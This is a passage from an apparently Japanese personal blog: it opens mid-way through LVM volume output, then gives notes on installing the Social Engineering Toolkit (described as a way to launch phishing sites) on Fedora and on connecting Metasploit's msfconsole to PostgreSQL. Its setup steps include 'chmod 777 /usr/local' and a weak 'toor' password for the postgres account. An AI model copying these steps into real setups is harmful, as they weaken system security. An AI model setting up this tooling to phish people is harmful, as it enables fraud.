  Block device           253:0
   
  --- Logical volume ---
  LV Name                /dev/VolGroup/lv_root
  VG Name                VolGroup
  LV UUID                SgQAaB-Srat-cvhH-Ownk-qu87-pyNl-z9OlL0
  LV Write Access        read/write
  LV Status              available
  # open                 1
  LV Size                38.31 GiB
  Current LE             1226
  Segments               2
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     256
  Block device           253:1

 

SET(Social Engineering Toolkit)のインストール

最近セキュリティ関係の勉強をしながらいろいろ遊んでいると、SETというものを発見した。

SET(Social Engineering Toolkit)とは、ソーシャルエンジニアリングを行うためのツールらしい。

具体的には、フィッシングサイトなどを簡単に立ち上げることができる。

BackTrackとかには最初から入っているのだが、FedoraにSETをインストールする方法が日本語では見当たらない…

ってなことで、インストールメモを取りました。

 

1.SETのソースをチェックアウトする

SETは、ダウンロードしてインストール…という風に進まないので、まずはソースをチェックアウトする。

svn co http://svn.trustedsec.com/social_engineering_toolkit

 

2.設定ファイルを書き換える

チェックアウトが完了したら、設定ファイルにmetasploitのインストールされているパスの書き込み。

vi /config/set_config

コメントのすぐ下のほうに下記のような、metasploitのパスを指定する部分があるので、自分の環境に合わせて変える。

### Define the path to MetaSploit, for example: /pentest/exploits/framework3
METASPLOIT_PATH=/opt/metasploit-4.3.0/msf3

 

3.wgetが必要になるので、インストールする

yum install wget

 

4.SETの実行

以上で準備は終了です。あとは、SETディレクトリのsetを実行すれば操作できます。

./set

 

 

msfconsoleからpostgresqlへの接続

metasploitの、msfconsoleからpostgresqlへの接続の時につまづいた時のメモです。

何処でつまづいたかと言うと、「gem install pg」の部分でつまづきました。

いろいろなサイトを見て回り、同じようなことを行っても全然インストールすることができない。

エラーの内容的には下記のような表示がされる。もっと長かったけど省略。

Building native extensions. This could take a while...
ERROR: Error installing pg:
ERROR: Failed to build gem native extension.
...

環境は、Fedora16(32bit)です。

 

ここからは、行った手順を記載していきます。

#yum update

OSをインストールしたばっかりだったので、まずは更新作業から。

 

postgresqlのインストール

#yum install postgresql-server

環境変数設定

このままでは、「initdb」ができないので、環境変数を設定する

#POSTGRES_HOME=/usr/local/pgsql
#PGLIB=$POSTGRES_HOME/lib; export PGLIB
#PGDATA=$POSTGRES_HOME/data; export PGDATA

 

/usr/localのパーミッション変更

postgresqlパーミッションエラーで、読み込めないと言われるので、適当にパーミッション変更。

#chmod 777 /usr/local

/usr/bin/initdb 実行

postgresqlをインストール時に自動で作成された「postgres」ユーザになり、initdbコマンド実行

/usr/bin/initdb

initdbが終了すると、下記のコマンドのどちらかを実行して下さい的なメッセージが出るので実行する。

/usr/bin/postgres -D /usr/local/pgsql/data start

上のコマンドを実行する。initdb時のメッセージには、logファイル的なのを指定しているが省略する。

 

postgresユーザのパスワード変更

#passwd postgres toor

 

データベース作成

pgsqlで適当なデータベースを作成する。

 

pgをインストールするために以下のパッケージをインストールする

yum install gcc
ym install ruby
yum install rubygems
yum install ruby-devel
yum install libpcap-devel
yum install postgresql-devel

 

準備が整ったので、gemでpgをインストールする

gem install pg

 

以上で、metasploitからDBに接続できるようになりました。